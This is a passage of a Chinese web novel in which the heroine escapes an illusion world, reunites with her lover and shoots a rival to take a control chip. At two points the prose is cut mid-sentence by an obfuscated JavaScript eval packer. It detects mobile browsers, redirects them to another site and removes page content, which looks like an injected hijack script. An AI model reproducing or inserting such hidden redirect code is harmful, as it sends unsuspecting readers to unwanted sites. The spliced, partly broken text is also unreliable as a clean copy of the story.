两分钟后，宁昭把手中的红纸折好：“我写好了。” 老人点头：“将它随身带在身上吧。” 离开巷子时，天已经完全黑了。 即便如此，闹市区的灯光却依然与这座城市交相辉映，一点都不会让人感觉到孤单。 两人就这样相顾无言地走了一路，一直走到朱拉隆功大学附近的公园，宁昭在湖边停下：“我们做个交换吧。” 她转头看向他：“就交换刚才写好的那张红纸。” 像是早就知道宁昭会这么说似的，他表现得并不意外：“虽然我不清楚规矩，但这种私密的东西，应该不太方便交换。” 意思就是不换。 宁昭也不恼，理所当然地点点头：“当然，这是你的自由。不过我可以让你看看我写了什么。” 从兜里掏出那张红纸，她利落地将它展开在男人面前：“准确来说，我不是在写，而是在画。” 她笑了：“我的画技不太好。你能看出我画的是什么吗？” 公园的路灯很亮，能清晰照出纸上的内容。 她画的是一只狐狸。 男人笑了：“你画得很写实。” “嗯。” 宁昭理所当然地点点头：“你有没有什么想要跟我说的？” 他看着她，眼神比夜色还温柔。 “嗯。你都让我看了，我也理应让你看看我写的。” 就像刚才宁昭展开那张红纸一样，他也打开了自己的纸。 直到看清纸上的内容，宁昭的眼泪又不争气地夺眶而出。 她投进他的怀中：“沈书言，你以为你用了别人的名字我就认不出你了吗……哪怕你变丑一百倍，我还是会找到你。” 他扔掉手中的纸，伸手抱住她，顺了顺她的头发：“我以为你还要过一阵子才会想起我。” 他的语气听起来有些揶揄，但宁昭知道，他只是在用这样的方式让她心里好受些。 眼泪渗进他的衬衫里，宁昭死死抱住他，再也不想撒手。 他们就这样相拥，那张被沈书言扔掉的纸缓缓飘到地面，红色的纸面上只有清隽的八个字： 言出必随，昭昭如愿。 72. 未完成之事 【恭喜您，6824号玩家。您已成功完成副本：找到幻境裂缝，识破它并与所有队友会面。当四位队友处于同一个空间时，系统将自动送你们回到主神空间。】 【审判者，这是您的最后一段旅程。】 是的，她都想起来了。 所谓的“游戏通关”只是系统的谎言，其实她和队友们被一起强制送进了下一个副本。 只是这个副本与以往她经历的所有副本都不同。它抹去了宁昭在虚妄之都的所有记忆，让她以为她回到了现实。 但其实她还被困在这片异域空间里，只有意志力足够坚定才能成功离开，否则就会像梦境给她预示的一样，在这个她自以为真实的世界里沉迷一辈子。 这也是为什么，她时常会发现一些奇怪的小bug。 原来都是有迹可循。 之前的幻境好歹会给她一天时间做准备，这次是一点都不提醒，就好像前面挖了个坑，只等着宁昭去跳，跳下去就是万丈深渊。 “要现在就回去吗？” 沈书言的面前也弹出了这样的字样。他松开她，理了理她被风吹乱的头发：“地图在幻境里暂时用不了了。” “这个幻境连你也困住了吗？” 她抓住他冰凉的手，半开玩笑道：“我一直以为你在虚妄之都是无敌的。” “我现在一无所有了。” 感受到她温热的掌心，沈书言把她的手拉到他的脸侧轻微蹭了蹭：“只有你。” 这话听得宁昭鼻头一酸，刚止住的眼泪又流了下来。 “那你会陪我回我的世界吗。” 她的语气前所未有的郑重，像是想问他要一个保证：“会愿意和我在一起吗？我在那边很有钱，可以养你，不会让你一无所有的。” 沈书言笑了：“如果一直是现在这个长相呢？” 因为被副本限制，他不能用自己的身体，甚至连名字都是借了李绍的。最关键的是，他用了李绍的名字，长得还没李绍本人帅。 站在光芒万丈的女明星身边，实在是叫他有些自卑。 听见这话，宁昭在他肩上锤了一下：“我刚进游戏那会儿，你也没嫌弃我啊。” 说话间，宁昭心上的石头彻底放下，随后便是一股前所未有的心安。 只要有沈书言在，她就心安。 * 回到酒店时，宁昭发现萧朔还没有走。 不仅如此，刚刚和他之间还是剑拔弩张的简香寒也在，两人竟然还在同一张桌子上吃饭。 “回来了，快来吃点，我特地去你每次都来的那家店买的。” 一看到宁昭进门，简香寒就起身给她让了个位置，笑眯眯的，半点都没有刚才的冷漠。 看来是宁昭愿意续约的消息治愈了简香寒的心情，她现在对宁昭鞍前马后，态度转变得简直不要太快。 “正好饿了。” 宁昭心情大好，毫不扭捏地在萧朔对面坐下：“你是特意来泰国找我的吗？” “是啊！” 萧朔点头如捣蒜，看了简香寒一眼，说话有些避讳：“这次我可是花了大价钱买了个第一排的位置才见到你的。不过我觉得值了，一点都不心疼。” 起码见到她了，还把东西给她了。 香气飘进宁昭的鼻子，她食欲大增，端起面前的蟹肉饭就吃，半点没有平日里为了保持身材什么东西都不敢吃的模样：“这个我爱吃。” “你……” 简香寒只以为她会像以前那样吃两口就收手，却没想到她变成了饕餮：“你还是少吃点吧，回国还有活动呢。” 虽然今天心情好奖励了她一顿大餐，但想到以后宁昭还得在她手下工作，她又开始当起了“严母”：“我以为你有自控能力才买这么多种的，你每样吃两口得了，不会要都吃了吧？” “胃是情绪器官，我心情好，多吃点怎么了？” 宁昭毫不在意，又端起泰奶喝了一大口：“好久没这么吃过饭了，我现在特舒服。” “……你吃吧，我先走了。” 简香寒见她这样，也不劝了，拿起包就离开：“悠着点，别玩脱了。” 这话说得暧昧，不知道又想歪到哪里去了。 宁昭没应声，等到简香寒走后，她看向萧朔：“就是和你的手艺比起来还差点。” 刚才她和沈书言的面前都出现了系统发来的通关显示，她猜测她的其他队友也收到了。 试探了一下，果然，萧朔不仅松了口气，眼眶也红了：“姐，你知道我有多害怕吗。” 情绪一但松动，就像是有了发泄的缺口。就算这样很丢脸，萧朔的眼泪也还是不争气地掉了下来：“我急死了，我生怕你想不起来，那样你就永远回不去了。” 听到他竟然这样说，宁昭一愣：“你不应该担心自己吗？” 萧朔摇头：“你给了我妹妹一条命，你的命比我自己的更重要。” 说不感动当然是假的，但宁昭更多的是感觉到唏嘘。 “你见到他了吗？” 可能萧朔也觉得自己哭得有些丢人，他抹掉眼泪，又看向宁昭：“沈书言。” 解除了副本的限制，他终于可以正大光明地说出沈书言的名字。 之前那种想说出口却如鲠在喉的感觉太难受了。 “见到了。” 想到沈书言，宁昭脸上又露出隐约的笑意：“谢谢你。” 如果不是那张照片，她也许不会那么快就想起他。 “那我们快回去找时也，那样就可以回主神空间结算了。” 萧朔拿起手机，想给时也发消息。 “先不回去。” 宁昭阻止了他：“我还有一些事情要处理。” 说罢，她又开始吃饭，而且是大吃特吃。 反正这些都是假的，多吃点会怎样，答应和公司续约又会怎样。 起码此刻，她可以尽情做一回自己。 吃完饭后萧朔就走了。既然识破幻境就算通关，那么在结算前的这段时间里想来也不会再有别的危险。她给萧朔转了一笔钱让他去玩一玩，自己则去睡了一个很安心的觉。 第二天起床，她就拨通了克洛斯的电话。 电话那头好像一直在等待她的联系，接得很快，但接了之后又不说话，像是在等宁昭开口。 “你在美国吗？” 她的语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14618382|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气很平静，听不清心态，也叫人捉摸不透她的心思。 “你要来找我？” “不是说我可以带着团队去你公司看一圈吗，这么快就忘了？” 她的声音带着调笑，好像什么都没发生过一样。 “当然。” 他笑了：“随时欢迎。记得提前告诉我时间，我去接你。” 他的语气听起来很平静，一点都没有以往的不屑一顾与霸道。这一度让宁昭觉得，克洛斯可能还不知道她已经识破了幻境这件事。 “我现在就去，明天到。” 看了眼时间，宁昭起身去选衣服：“给我发地址，我到了联系你。” “好。” 如此心平气和，倒真像是两个认识了许久的朋友。 就这样，宁昭独自一人离开了曼谷，没有告诉任何人。 到达洛杉矶时刚好是半夜。虽然已经凌晨，但机场仍然人满为患，好在宁昭走了vip通道，一路上还算安静，出门就看到了克洛斯的身影。 他长得很出挑，一头金发耀眼夺目，将近一米九的个子矗立在人群中，哪怕身处美国也是人群中一眼就能看到的存在。 他一开始没有什么表情，直到看到宁昭，他的神色略微放松，上前伸手接过她的行李：“就你一个人，不怕我吃了你？” 看着他深邃立体的五官和碧蓝色的瞳孔，宁昭想从他脸上找到些破绽，却没发现任何异常的神色。 他还是像上次和她见面那样，语气间带着些似笑非笑漫不经心的调侃，却没有任何讥诮与不屑。 这是幻境里的克洛斯，却不是宁昭认识的那个草菅人命、冷血霸道的克洛斯。 她收回视线，也用同样的语气回敬了一句：“你长得这么帅，我也不亏是不是？” 试探的话语落到克洛斯的耳朵里却被解读成另一种意思。他脸上的表情由戏谑转变为疑惑：“你？” “今天太晚了，我还没吃东西。” 宁昭却没再解释，轻描淡写地转移话题：“我们出去吃个夜宵吧。我请客如何？” “……当然。” 虽不知宁昭葫芦里卖的是什么药，但克洛斯没道理拒绝女明星这样明晃晃的好意。 即使他知道，她别有用心。 这次吃饭不像上次那样潜藏着那么多的算计，他们今天没谈工作，聊的也都是些生活上的事情。一顿饭下来，氛围还算轻松，两人之间的关系看起来也融洽了不少。 宁昭是专业的演员，曾经花过大量的时间去研究人的微表情与心理学。经过这一顿饭的功夫，她几乎已经能断定，面前这个人没有在演戏。 这不是过去的克洛斯。 而她需要确认的，还有另一件事。 她今天特地穿了一双恨天高，搭配紧身连衣裙，走起路来十分不方便。 因为有这个原因在，最后结账离开时，宁昭故意踏空一层楼梯，“一不小心”整个人都倒到了克洛斯的怀里。 为了避免摔倒，宁昭只能下意识抓住克洛斯的手腕，直到系统的声音在脑海里浮现—— 【系统已检测到监管者01号的存在，芯片留存体内，掌管控制权：20％】 73. 未完成之事 还未等宁昭大脑回过神，耳边就响起男人的闷笑声：“这是在对我投怀送抱？” 腰间的手缩紧，克洛斯顺势把她搂进怀里：“可以。” “……” 这个方法确实有些拙劣，但宁昭也因此确定了一件事：克洛斯和她一样被拉进了这个幻境里并失去了记忆，而且，他目前还没有回忆起以前的事。 她打开了一个新思路：既然拥有80％控制权的审判者都能被强行拉进游戏，克洛斯又凭什么不会呢？ 或许，哪怕是控制权最高的人，也没办法忤逆系统的决定。 没有真正意义上能掌控一切的人，就连曾经的沈书言，也只是在系统允许的范围内才拥有那样大的权力。 她不知道为什么系统会在最后给她这样的考验，但她已经明确了自己接下来的目标。 她要拿走克洛斯手里剩余的控制权。 她不动声色离开他的怀抱：“你向来都这么自信吗？” 虽然言语有所拉扯，但她脑子里已经在盘算速战速决的战术。 她并不打算在他身上浪费太多的时间。心中装着另一个人，心心念念想要快点再见到他，这样的心情只会让宁昭拔刀的速度变得更快。 “那也要看面对的人是谁。” 和宁昭恢复正常社交距离后，克洛斯勾勾唇：“如果面对的是你，我不仅自信，还会更自作多情一点。” 宁昭不置可否地笑笑，说话间，两人已经走到了户外。 已经到了凌晨，四周静谧得有些诡异。他们身处郊区，不在繁闹的夜市，附近荒凉得让人怀疑这里到底是不是美国。 “在外面走走吧，消消食，最近两天吃得有些多。” 已经走到车边了，宁昭没有上车，冷不丁说了这样一句话。 看向她，克洛斯的双眸中多了几分深意。 不过他还是什么话都没说，陪着宁昭一同走在了只有微弱路灯映照的马路上。 两人很久没有像现在这样独处过。 对于宁昭来说，上次和他这样近还是在上个副本的洞穴里。那对于克洛斯来说已经是很久之前发生的事，现在他的记忆被抹除，他大概也不记得他曾经还答应过她一件未完成的事了。 “有什么话就说吧。” 终于，在两人无言走了将近十分钟之后，克洛斯定下了脚步：“不要和我兜圈子。” 昏暗的路灯能隐约照亮克洛斯的脸庞，他的轮廓却仍被映衬得有些晦暗不明。 他看她的眼神复杂，但也隐隐带着些期待：“你到底想要什么？” “想对你投怀送抱啊。” 略显轻佻的语气响起，宁昭停下脚步，转身看向他：“还不够明显么？” “我很认真。” 他眼中完全没有被开玩笑的戏谑，反而是她从未在他眼中看到过的真诚。 看到他这样，宁昭也觉得兜圈子没有意思了。 克洛斯还在等她说话，却没想到就在顷刻，银色的枪口已经对准了他的心脏。 宁昭眉眼间的玩笑褪去，取而代之的是一个抱歉的眼神：“我要从你的身体里取点东西。” “嘭”的一声，她毫不犹豫扣动扳机，枪声顿时响彻在天地之间，方圆数里都能听见。 克洛斯低头，看到抵着自己胸口的那把银色手枪，在月色下泛着冷冽的光。 直到白色衬衫被汩汩鲜血浸染，他伸手握住宁昭细白的手腕，视线移回她身上，声音颤抖：“这是第三次了。” 一枪射中心脏，他竟然没有毙命，还有力气说话？ 宁昭觉得诡异，但也没有心思去想那么多。刚才的枪声很大，保不准会引来什么人，她得赶紧把芯片拿走，以免惹上麻烦。 要是在幻境里被抓，再想见队友就难了。 于是她没管他说了什么，伸手把他推倒在地。大概是太疼，克洛斯有些腿软，轻而易举就被她推到了地上，仰面对着天空，胸口却仍在小幅度地起伏。 霎时，又亮起一抹银光。宁昭的手里不知何时多了一把匕首。她撕开克洛斯的衬衫，抬手就想将匕首插进他的手臂，动作不带半点犹豫。 然而，就在刀柄落下去的前一秒，宁昭感受到一股强大的阻力，让她怎么插都插不进去。 “好了，宁昭。” 男声从身后由远及近地传来，宁昭的后背悄无声息地泛起凉意。 不知道什么时候出现的时也走到她身边，伸手握住她的手腕，示意她把刀放下：“你已经赢了。” 她看向他，眸色深沉，没有说话。 在克洛斯身边蹲下，时也看到他麻木的脸，叹了口气：“认命吧，多少次都没有用，她不会喜欢你的。” 他的手停留在克洛斯的胸口，泛出莹莹绿光。不过几秒，子弹缓缓从他的身体里升起，伤口也肉眼可见地开始快速愈合。 随着子弹一起从克洛斯体内出来的，还有一个闪着蓝光幽光的细小芯片。 待到克洛斯的伤口全部愈合，芯片也落到了时也的手心。 他看向宁昭，朝她摊开手掌：“你要的东西。” 宁昭没接：“你到底是谁？” 听到她这样问，时也反而笑了：“我记得我之前问过你想不想知道我是谁，那时你说没必要。” 想到自己确实说过这样的话，宁昭轻吸一口气：“我只是想知道真相。” “真相就是，这是一场针对你和克洛斯之间的考核。” 时也淡淡叙述出真相：“谁先识破幻境谁就赢了，赢的人能拿到另一个人手里的所有权力，就这么简单。” “我赢了？” “是，你赢了。” 宁昭没伸手接芯片，它便一直漂浮在她面前，一闪一闪的，像是在静静等待主人的接纳。 与此同时，克洛斯的伤口已经完全愈合，身体的痛感也渐渐消失。他无言起身，捡起时也刚才顺手扔在地上的黑色外套。 “为什么一点都没犹豫？” 克洛斯看着宁昭，声音却明显听出嘶哑：“我们相遇三次，为什么你每一次都能这么狠心？” 他像在控诉，又像在自言自语，好像一点都不在意宁昭的回答。 第一次明明是他救了她，她的眼里却从始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14649071|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至终只有他大哥。她离开后，他以为她喜欢沈书言那样的男人，于是他拿走沈书言的一切，却没想到再次相遇时，她看他的眼神会是令他寒心的厌恶。 第三次是意外，但也让他清醒过来。 他确实丢失了记忆，可他没有忘记他爱她。于是他和她按照正常的流程好好相处，相处到他觉得他们真的已经成为了朋友，却没想到她开枪的速度竟然比他恢复记忆的速度还要快。 他清醒过来，意识到不管重来多少次，不管他是好是坏、是善是恶，她都不会爱他。 “你杀我的时候也没有犹豫。” 心底涌上难言的情绪，宁昭后退两步，与他拉开距离：“和李绍在巷子里对峙那天，我知道你下一秒就会扣动扳机。” 对他心软就是对自己心狠。宁昭从不做蠢事，面对一个对自己起了杀心的男人，只有把他杀掉才能避免后顾之忧，哪里还有功夫去想什么情情爱爱。 她从来都没把他的感情放在心上过。 “你觉得我会杀你？” 克洛斯唇盘扬起一抹冷然的弧度，刹那间，好像又让人看到了曾经那个杀伐果断的他：“如果说我没有呢？” 如果他没有，她就不会从过去回到未来。 输赢已分，宁昭不想再纠结这些无谓的话题。她伸手抓住芯片，转头就往回走。 芯片握到手心的刹那，一阵冰凉微痛的触感钻进她的肌肤。它缓缓融入她的身体，直到彻底消失不见，宁昭面前的提示再次更新。 【虚妄之都：100％】 也就是这时，一段记忆忽然如潮水般涌进宁昭的大脑。 那是她在墨西哥小镇的那个夜晚，李绍与克洛斯把她和沈书言一前一后堵在巷子里。只不过，在这段回忆中，宁昭不是她自己，而是站到了克洛斯的视角。 “你说你从我身上学会的第一件东西是狠心，那你就应该知道，这个只认识几天的女人对我来说其实并不是那么重要。” 她看到沈书言握着她自己的手腕，眼睛却始终盯着克洛斯，讥诮地说着这番熟悉的台词。 她还记得，这时的沈书言已经在给她传输控制权，说这番话也只是为了引开克洛斯的注意。 “倒是你，你舍得吗？克洛斯，不要以为你很了解我。这个女人天真可笑，你也未必比她好到哪里去。” 沈书言的话音刚落下，矗立在巷子后的房子里就一闪而过凛冽的白光。 在克洛斯的视野中，他能清晰看到一个狙击手在房子二楼架着枪，枪口对准的方向正是宁昭的头。 枪声响起，克洛斯心下一惊，想也没想就抬手往远处开了一枪，然而为时过晚。 当他回过神来时，面前的宁昭早就已经消失不见。 毫无征兆地，这段记忆在芯片植入宁昭身体的一瞬间出现在了她的脑海里。 她停住脚步，想到克洛斯刚才的话。 “如果说我没有呢？” 悔意顿时将宁昭裹挟。 她深呼吸一口气，停顿了几秒，但很快就缓过神来。 最后，她仍旧头也没回地离开了这里。